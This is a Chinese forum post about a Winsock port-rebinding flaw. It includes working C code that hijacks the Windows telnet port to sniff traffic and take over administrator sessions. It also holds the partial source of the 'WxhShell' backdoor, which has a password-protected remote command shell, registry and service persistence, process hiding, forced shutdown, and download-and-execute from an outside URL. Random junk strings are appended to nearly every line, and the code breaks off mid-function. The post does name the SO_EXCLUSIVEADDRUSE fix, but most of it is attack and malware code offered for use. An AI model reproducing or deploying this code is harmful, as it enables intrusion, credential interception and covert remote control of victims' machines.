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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =Nyq1~   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yy,i,c`r  
PRR]DEz  
  saddr.sin_family = AF_INET; 'Y6x!i2  
EWI2qaSnO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *,hg+?lZ  
`R9}.?7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); scXY~l]I*  
TSgfIE|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <BUKTRq  
<)D)j[  
  这意味着什么?意味着可以进行如下的攻击: *B$$6'hi`  
hI+mx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !Vtj:2PQL  
'Gr}<B$A3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #:UP'v=w  
n9PCSl j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OoG Nij  
 BZ'63  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6k1;62Ntk  
&d!Q%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a#U2y"  
T-;|E^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ( 04clU^F  
qs9q{n-Aj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c.<bz  
vr:5+wew  
  #include .B9i`)0  
  #include | Ns-l (l  
  #include &l&B[s6[  
  #include    R#K,/b%SV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h(<2{%j  
  int main() ><l|&&e-  
  { ]J] ~i[  
  WORD wVersionRequested; \dB)G<_  
  DWORD ret; ,V>7eQt?  
  WSADATA wsaData; sI&|qK-(  
  BOOL val; \$Jz26 -n  
  SOCKADDR_IN saddr; ./Y5Vk#Rp\  
  SOCKADDR_IN scaddr; %^zGM^PD  
  int err; IP#?$X  
  SOCKET s; u0s25JY.%  
  SOCKET sc; Q5kf-~Jx+  
  int caddsize; KtR*/<7IC  
  HANDLE mt; [ST,/<?0  
  DWORD tid;   KF.d:  
  wVersionRequested = MAKEWORD( 2, 2 ); BEfP#h=hr  
  err = WSAStartup( wVersionRequested, &wsaData ); " M+g=  
  if ( err != 0 ) { 5s /fBS  
  printf("error!WSAStartup failed!\n"); A9D vU)1  
  return -1; -45xa$vv  
  } 5[qCH(6  
  saddr.sin_family = AF_INET; D^!x@I~:  
   *(w#*,lv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :!cNkJa  
`~+1i5-}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z7$"0%  
  saddr.sin_port = htons(23); [k<w'n*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JSCZX:5  
  { )<>1Q{j@  
  printf("error!socket failed!\n"); EN\ uX!  
  return -1; (mR ;MC  
  } v 7g?  
  val = TRUE; x5Z(_hU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s|q]11r+H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -9X#+-  
  { uhf% z G  
  printf("error!setsockopt failed!\n"); RaX :&PE  
  return -1;  1OwVb  
  } #P^cR_|\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &3_S+.JO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^! r<-J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u?a4v\  
P c'0.4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :JI&ngWK  
  { ]ssX,1#Xh  
  ret=GetLastError(); 5Mb5t;4b  
  printf("error!bind failed!\n"); T\"eqa  
  return -1; an<loL W  
  } Iu=n$H  
  listen(s,2); FL8?<bU  
  while(1) q_G O;-b{  
  { IXJ6w:E  
  caddsize = sizeof(scaddr); 8s@k0T<O  
  //接受连接请求 /,`40^U}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C5ia9LpRX  
  if(sc!=INVALID_SOCKET) V`,tu `6  
  { 9Q.}jV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )e|n7|} $  
  if(mt==NULL) w~lxWgaY7  
  { 6M)4v{F  
  printf("Thread Creat Failed!\n"); 1|Q-|jq`  
  break; J Gpy$T{t  
  } Eg/=VBtc  
  } '(.vB~m7*+  
  CloseHandle(mt); {i!@C(M3  
  } %aHQIoxg  
  closesocket(s); xUw)mUn@N  
  WSACleanup(); -Y:^<C^^&8  
  return 0; VW%eB  
  }   Zf [#~4  
  DWORD WINAPI ClientThread(LPVOID lpParam) V9SkB3-'  
  { ^j)0&}fB  
  SOCKET ss = (SOCKET)lpParam; QV_e6r1t#m  
  SOCKET sc; >ow5aOlQ&  
  unsigned char buf[4096]; qe@ctHpn  
  SOCKADDR_IN saddr; 7G 3*@cl  
  long num; K[G=J  
  DWORD val; rO;Vr},3\%  
  DWORD ret; .~L^h/)Gjy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'UN 'gXny  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JIYZ  
  saddr.sin_family = AF_INET; Q9C; _Up  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X1J'  
  saddr.sin_port = htons(23); |."thTO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @*s7~:VQ  
  { '4 x uH3  
  printf("error!socket failed!\n"); wFHz<i!jr&  
  return -1; 5j S8{d0  
  } |OVD*A  
  val = 100; +|OrV'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NR@n%p  
  { 8<w8"B.i  
  ret = GetLastError(); :~gG]|F  
  return -1; !JOM+P:  
  } x[w!buV0\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k NnI$(H"H  
  { sm1(I7y  
  ret = GetLastError(); ]>%M%B  
  return -1; iAWd 9x  
  } __Tg1A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3ug-cq  
  { ~ v21b?   
  printf("error!socket connect failed!\n"); =Kh1 HU.F  
  closesocket(sc); ' 6#en9{L  
  closesocket(ss); FJYc*l  
  return -1; *|F ;An.N^  
  } ~Y3"vdd  
  while(1) "7RnT3  
  { .V.x0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8G6[\P3fQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2TxHY|4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }-8ZSWog6f  
  num = recv(ss,buf,4096,0); rcx'`CIJ  
  if(num>0) F\"`^`(O  
  send(sc,buf,num,0); yo=0Ov  
  else if(num==0) hCX_^%  
  break; < `/22S"  
  num = recv(sc,buf,4096,0); 'A}@XGE:p  
  if(num>0) ^]A,Q%1q^  
  send(ss,buf,num,0); $^XCI%DH  
  else if(num==0) S.$/uDwo  
  break; P+j5_V{\b  
  } q4wS<, 3  
  closesocket(ss); )?zlhsu}1;  
  closesocket(sc); <Jwx|  
  return 0 ; >I^_kBa  
  } [fjP.kw;J  
( ;(DI^Un8  
Tz"Xm/Gy  
========================================================== x_K8Gr#Z0  
7B"*< %<  
下边附上一个代码,,WXhSHELL $Z2Y%z6y  
4{Q{>S*h  
========================================================== UW?(-_8  
=Co[pt  
#include "stdafx.h" (TjY1,f!H  
s;[OR  
#include <stdio.h> 0K *|B.O  
#include <string.h> ]@rt/ eX  
#include <windows.h> }+wvZq +c  
#include <winsock2.h> <RFT W}f!  
#include <winsvc.h> zZ11J0UI  
#include <urlmon.h> ^zs]cFN#%  
`Zm- F  
#pragma comment (lib, "Ws2_32.lib") F CbU> 1R  
#pragma comment (lib, "urlmon.lib") n(}zq  
XX:?7:j}[8  
#define MAX_USER   100 // 最大客户端连接数 *Mg. * N  
#define BUF_SOCK   200 // sock buffer [Jjb<6[o  
#define KEY_BUFF   255 // 输入 buffer ;94e   
Ld?-Ik~fF>  
#define REBOOT     0   // 重启 |8:IH@K*  
#define SHUTDOWN   1   // 关机 @VVDN  
6|O2i j-J  
#define DEF_PORT   5000 // 监听端口 MMYV8;c  
#XaTUT  
#define REG_LEN     16   // 注册表键长度 w '<8l w  
#define SVC_LEN     80   // NT服务名长度 zK P{A Sk  
GOII B  
// 从dll定义API [|)Eyd[G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X4bB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?;dfA/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `7))[._  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BnL[C:|  
fZH";_"1  
// wxhshell配置信息 k-`5T mW  
struct WSCFG { ZI0C%c.~  
  int ws_port;         // 监听端口 _K#LOSMfj/  
  char ws_passstr[REG_LEN]; // 口令 6hvmp  
  int ws_autoins;       // 安装标记, 1=yes 0=no 42Vz6 k:  
  char ws_regname[REG_LEN]; // 注册表键名 X^!1MpEQ  
  char ws_svcname[REG_LEN]; // 服务名 {#]vvO2~$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,8vqzI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r{Cbx#;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H1bPNt63  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F.%g_Xvk:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =%\y E0#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l1utk8'-  
:4(.S<fH)-  
}; MBO3y&\S4  
'0juZ~>}  
// default Wxhshell configuration Gop;!aV1*  
struct WSCFG wscfg={DEF_PORT, u0M? l  
    "xuhuanlingzhe", GF3"$?Cw  
    1, mg)ZoC  
    "Wxhshell",  @o g&l;  
    "Wxhshell", =DT7]fU  
            "WxhShell Service", +$b_,s  
    "Wrsky Windows CmdShell Service", 4%]wd}'#Un  
    "Please Input Your Password: ", bc{ {a  
  1, EC]b]'._  
  "http://www.wrsky.com/wxhshell.exe", #:5vN-9?  
  "Wxhshell.exe" 0)?.rthk4S  
    }; kp4(_T7R  
=y>g:}G7  
// 消息定义模块 j?YZOO>X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k$u/6lw]IB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sUki|lP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *s"dCc  
char *msg_ws_ext="\n\rExit."; Pz/bne;=  
char *msg_ws_end="\n\rQuit."; X;hV+| Bo  
char *msg_ws_boot="\n\rReboot..."; )<vU F]e~  
char *msg_ws_poff="\n\rShutdown..."; <![]=~z $  
char *msg_ws_down="\n\rSave to "; k70o=}  
Jp0*Y-*Y  
char *msg_ws_err="\n\rErr!"; giDe  
char *msg_ws_ok="\n\rOK!"; UZ`GS$D@  
+-VkRr#  
char ExeFile[MAX_PATH]; %]zaX-2dm!  
int nUser = 0; (eOzntp8  
HANDLE handles[MAX_USER]; ,Qd;t  
int OsIsNt; 2GHmA_7P  
'}Tf9L%  
SERVICE_STATUS       serviceStatus; POl[]ni=>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SR4cR)Iz  
"K7{y4  
// 函数声明 ^D{!!)O  
int Install(void); 3miEF0x[  
int Uninstall(void); TxN'[G  
int DownloadFile(char *sURL, SOCKET wsh); JIGoF  
int Boot(int flag); ~Lyy7 B9  
void HideProc(void); \R6D'Yt  
int GetOsVer(void); 8w:A""  
int Wxhshell(SOCKET wsl); R43yr+p  
void TalkWithClient(void *cs); ^hpdre"  
int CmdShell(SOCKET sock); aQzu[N  
int StartFromService(void); L*rND15  
int StartWxhshell(LPSTR lpCmdLine); *gJ:irah  
";&5@H|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \KGi54&Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sI@y)z  
4l7FV<g  
// 数据结构和表定义 zJ*|tw4  
SERVICE_TABLE_ENTRY DispatchTable[] = Gs2| #*6  
{ nO'lN<L  
{wscfg.ws_svcname, NTServiceMain}, TT'sO[N[  
{NULL, NULL} /O@dqEbc  
}; OF4iGFw  
;{zgp  
// 自我安装 O e-FI+7  
int Install(void) Nan@SuKY  
{ %`kO\q_  
  char svExeFile[MAX_PATH]; E*uz|w3S)Y  
  HKEY key; x}8 U\  
  strcpy(svExeFile,ExeFile); Jvk!a~e  
DvBL #iC   
// 如果是win9x系统,修改注册表设为自启动 /!V) 2j,  
if(!OsIsNt) { l f<?k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wNHvYu lI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zNu>25/)(  
  RegCloseKey(key); 0#gu7n|J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KfSI6 Y _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wRa$b  
  RegCloseKey(key); YH0=Y mU#X  
  return 0; Wsz-#kc\[  
    } E3):8>R;1  
  } N3_rqRd^  
} W'>"E/Tx#O  
else { yJ\K\\]  
+/bT4TkML  
// 如果是NT以上系统,安装为系统服务 yX%Xjo__*t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sS 5aJ}Qs  
if (schSCManager!=0) l"I G;qO.  
{ yXuF<+CJ  
  SC_HANDLE schService = CreateService 1Q&\y)@bT  
  ( k u@sQn  
  schSCManager, j~|pSu.<  
  wscfg.ws_svcname, |KV|x ^fJ  
  wscfg.ws_svcdisp, o@&Hc bN^  
  SERVICE_ALL_ACCESS, 69z,_p$@:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w?r   
  SERVICE_AUTO_START, #6'x-Z_  
  SERVICE_ERROR_NORMAL, &!@7+'])  
  svExeFile, M<4tjVQ6  
  NULL, dB{VY+!  
  NULL, :y>$N(.8f  
  NULL, 1Qc>A8SU  
  NULL, 2|LgUA?<  
  NULL Ewfzjc  
  ); cgQ4JY/6  
  if (schService!=0) C EzTErn  
  { #J=@} S)  
  CloseServiceHandle(schService); 8PR1RC J  
  CloseServiceHandle(schSCManager); zA~aiX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %\ifnIQ  
  strcat(svExeFile,wscfg.ws_svcname); {Q%"{h']  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8lI'[Y?3.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H=_ Wio  
  RegCloseKey(key); BI BBp=+  
  return 0; mbij& 0  
    } $CgJ+ua\8  
  } /nbHin#we  
  CloseServiceHandle(schSCManager); MmZs|pXk  
} 9kpCn.rJ  
} yF~iVt  
6N6}3J5  
return 1;  QB/H  
} u?ALZxj?  
q ,C)AZ  
// 自我卸载 #@i1jZ  
int Uninstall(void) #>]o'KQx  
{ ckglDhC  
  HKEY key; )L,.K O  
Yv!r>\#0S  
if(!OsIsNt) { ._6|epJ#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UBgheu  
  RegDeleteValue(key,wscfg.ws_regname); Xy0KZ !  
  RegCloseKey(key); ZwC\n(_y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $aY*1UVq  
  RegDeleteValue(key,wscfg.ws_regname); & V*_\  
  RegCloseKey(key); L\CufAN  
  return 0; myR}~Cj;q  
  } K&\3j-8^  
} yV'<l .N  
} hC nqe  
else { i*T>, z  
`8.Oc;*zu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QJsud{ada  
if (schSCManager!=0) |uT &M`7\{  
{ +2ZBj6 e9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zx1I&K\Cd  
  if (schService!=0) (_9cL,v  
  { q=_&izmE'7  
  if(DeleteService(schService)!=0) { B.J_(V+  
  CloseServiceHandle(schService); ,h#U<CnP#  
  CloseServiceHandle(schSCManager); 7%%FYHMO:  
  return 0; "K!9^!4&  
  } p^E}%0#  
  CloseServiceHandle(schService); T%opkyP>=  
  } 6v]y\+  
  CloseServiceHandle(schSCManager); )|Ho"VEmg  
} 5Tb3Yy< .  
} zUe)f~4  
9b8kRz[ c  
return 1; :~% zX*   
} }"sZ)FE  
|X'Pa9u  
// 从指定url下载文件  Uu<Tn#nb  
int DownloadFile(char *sURL, SOCKET wsh) "EE=j$8u+  
{ wG, "ZN  
  HRESULT hr; S~Z`?qHWh  
char seps[]= "/"; pE^jUxk6  
char *token; tH}$j  
char *file; _:ORu Vk  
char myURL[MAX_PATH]; 5UTIGla  
char myFILE[MAX_PATH]; o:.6{+|N  
7[b]%i  
strcpy(myURL,sURL); -UhSy>m  
  token=strtok(myURL,seps); KBb{Z;%  
  while(token!=NULL) %+1;iuDL  
  { _w'N&#  
    file=token; b6LwKUl  
  token=strtok(NULL,seps); B!z-O*fLE1  
  } `X=2Ff  
5@:c6(5$  
GetCurrentDirectory(MAX_PATH,myFILE); {eQ')f  
strcat(myFILE, "\\"); pYtvenBy  
strcat(myFILE, file); AzfYw'^&9  
  send(wsh,myFILE,strlen(myFILE),0); /IkSgKJiz\  
send(wsh,"...",3,0); %.zcE@7*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^<}>]F_  
  if(hr==S_OK) A18&9gY  
return 0; PGj?`y4  
else bSKe@4C  
return 1; Bl >)GX\l  
s--\<v  
} ,o_Ur.UJ  
Py3Y*YP  
// 系统电源模块 0VA$ Ige  
int Boot(int flag) 4;_<CB  
{ o|FY-+  
  HANDLE hToken; IhRYV`:  
  TOKEN_PRIVILEGES tkp; RyJN=;5p  
[xrM){ItW  
  if(OsIsNt) { 1\~-No  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E2 5:e EXa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RjOQSy3  
    tkp.PrivilegeCount = 1; On^jHqLaE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .2si[:_(p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  =Y0>b4  
if(flag==REBOOT) { .ZB/!WiF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B F,rZZL  
  return 0; dp&bcR&#)  
} 4ZRE3^y\"  
else { .&Vy o<9Ck  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wb|xEwqd`  
  return 0; U'Xw'?Uj  
} mp\`9j+{  
  } hlgBx~S[  
  else { neHozmm|  
if(flag==REBOOT) { ub#>kCL9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i l)LkZ@  
  return 0; .\W6XRw  
} \Jcj4  
else { X5M{No>z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v+3-o/G7  
  return 0; LMV0:\>  
} y'a(>s(  
} K?4/x4p@  
xz#.3|_('  
return 1; +Yuy%VT  
} /j{`hi  
S!/N lSr<  
// win9x进程隐藏模块 &)8-iO  
void HideProc(void) Gm]]Z_  
{ T{L{<+9%  
oQkY@)3.w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g.cD3N  
  if ( hKernel != NULL ) #ilU(39e  
  { lF=l|.c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <Bmqox0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jMT];%$[  
    FreeLibrary(hKernel); ~HR/FGe?N  
  } LPOZA`  
vfh0aW-O  
return; K]b_JDEk  
} a zUEp8`|  
kRyt|ryWh  
// 获取操作系统版本 LB)sk$)  
int GetOsVer(void) ]/_GHG9  
{ Hko(@z  
  OSVERSIONINFO winfo; g;>M{)A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ${/"u3a_  
  GetVersionEx(&winfo); T%Vg0Y)P;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mNvK|bTUT  
  return 1; WdA6Y  
  else A ko}v"d  
  return 0; ic"n*SZa  
} +hz^( I7  
)>! IY Q  
// 客户端句柄模块 'm;M+:l 6  
int Wxhshell(SOCKET wsl) GisI/Ir[  
{ /R_*u4}iD  
  SOCKET wsh; s1[_Pk;!  
  struct sockaddr_in client; bEXm@-ou  
  DWORD myID; .Y.{j4[LQ  
eBK s-2r  
  while(nUser<MAX_USER) 4E Hb  
{ NjTVinz  
  int nSize=sizeof(client); sH^?v0^a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h-XMr_F  
  if(wsh==INVALID_SOCKET) return 1; %Jrdr`<  
NMSpi[dr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UL/|!(s  
if(handles[nUser]==0) O\5*p=v  
  closesocket(wsh); ]g>@r.Nc  
else %HRFH  
  nUser++; >PsP y.  
  } a?+Ni|+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !f(aWrw7e6  
:Rs% (Z  
  return 0; h=q%h8  
} 2C@hjw(  
OFJ T  
// 关闭 socket A%VBBvk  
void CloseIt(SOCKET wsh) =jik33QV<  
{ q4k)E  
closesocket(wsh); ]~,V(K  
nUser--; mErXdb|L  
ExitThread(0); "EoC7 1  
} 62BJ;/ ]  
}OeEv@^  
// 客户端请求句柄 dYg}qad5:  
void TalkWithClient(void *cs) L`i#yXR  
{ +s6 wF{  
${$XJs4  
  SOCKET wsh=(SOCKET)cs; 2$D *~~  
  char pwd[SVC_LEN]; 5G~;g  
  char cmd[KEY_BUFF]; 6 ~b~[gA  
char chr[1]; )e)@_0  
int i,j; 3:$hC8  
!b O8apn  
  while (nUser < MAX_USER) { JJnZbJti  
SL;\S74  
if(wscfg.ws_passstr) { 0Fw0#eE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ozk^B{{o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +uF!.!}  
  //ZeroMemory(pwd,KEY_BUFF); ~Od4( }/G  
      i=0; Sx,O)  
  while(i<SVC_LEN) { :E|HP#iwu  
@jW_ r j:<  
  // 设置超时 i<g|+}I  
  fd_set FdRead; O&# bC  
  struct timeval TimeOut; <v?9:}  
  FD_ZERO(&FdRead); >4:W:;R  
  FD_SET(wsh,&FdRead); _tR%7%3*  
  TimeOut.tv_sec=8; "y>\ mC  
  TimeOut.tv_usec=0; 5Wj+ey^ ^w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]MkZ1~f7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '676\2.  
#@,39!;,:O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Ek<J+& |I  
  pwd=chr[0]; #e.2m5T  
  if(chr[0]==0xd || chr[0]==0xa) { Na^1dn  
  pwd=0; khl(9R4a  
  break; /Yk2 |L  
  } Kp *nOZ  
  i++; (o_fY.  
    } >4a@rT/  
.>0e?A4,5?  
  // 如果是非法用户,关闭 socket "(}xIsy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N\<RQtDg  
} [y y D-  
Vw*;xek?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ce{GpmW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /&=E=S6  
L<>;E  
while(1) { tb7Wr1$<  
#Zpp*S55  
  ZeroMemory(cmd,KEY_BUFF); 8<$6ufvOv  
j380=? 7  
      // 自动支持客户端 telnet标准   Q p7|p  
  j=0; cL&V2I5O  
  while(j<KEY_BUFF) { Q5e ,[1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %t0Fx  
  cmd[j]=chr[0]; omM*h{z$$  
  if(chr[0]==0xa || chr[0]==0xd) { buo_H@@p{s  
  cmd[j]=0; rt%.IQdY  
  break; *b?C%a9  
  } ?H7*?HV  
  j++; KQ3]'2q  
    } FxSBxz<N-A  
(Q !4\Gy  
  // 下载文件 <@n/[ +3  
  if(strstr(cmd,"http://")) { Q3#- q> ;7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @oC8:  
  if(DownloadFile(cmd,wsh)) 88}c+V+N!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o #{D;'  
  else ;$@7iL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u~yJFIo  
  } |KF X0*70  
  else { e*uaxh+7  
OiX>^_iDt  
    switch(cmd[0]) { 2q J}5  
  m~~_iz_*  
  // 帮助 wJJ4F$"b  
  case '?': { BQv+9(:fQB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FG7}MUu  
    break; |,bsMJh0  
  } _`WbR&d2Id  
  // 安装 * B,D#;6  
  case 'i': { `G\uTCpk  
    if(Install()) SF61rm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ag4i;hS8  
    else W-%oj.BMA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Sx 0t  
    break; w!)B\l^+c  
    } 6\)61o_1|  
  // 卸载 S#qd#Zk|Y  
  case 'r': { c&2ZjM  
    if(Uninstall()) / Dj6Bj }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /hf}f=7kH  
    else ,v:m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,FX;-nP%  
    break; J_R54Y~vu  
    } m8H|cQ@Uu  
  // 显示 wxhshell 所在路径 S pDVD  
  case 'p': { oD_je~b)  
    char svExeFile[MAX_PATH]; F"j0;}+N  
    strcpy(svExeFile,"\n\r"); bp2l%A;  
      strcat(svExeFile,ExeFile); R-J\c+C>W  
        send(wsh,svExeFile,strlen(svExeFile),0); Nh~ Hh(   
    break; VO>A+vx3M  
    } +Y,>ftN  
  // 重启 d8Jy$,/`?  
  case 'b': { .pQH>;k]K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?:Y{c#w>  
    if(Boot(REBOOT)) JpE4 o2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zJ7vAL  
    else { `@ULG>   
    closesocket(wsh); "aK3 ylz;  
    ExitThread(0); ?hvPPEJf  
    } j$^3  
    break; K+xiov-r?  
    } a ^<W ?Z  
  // 关机 Gvv~P3Dm  
  case 'd': { i4 KW  
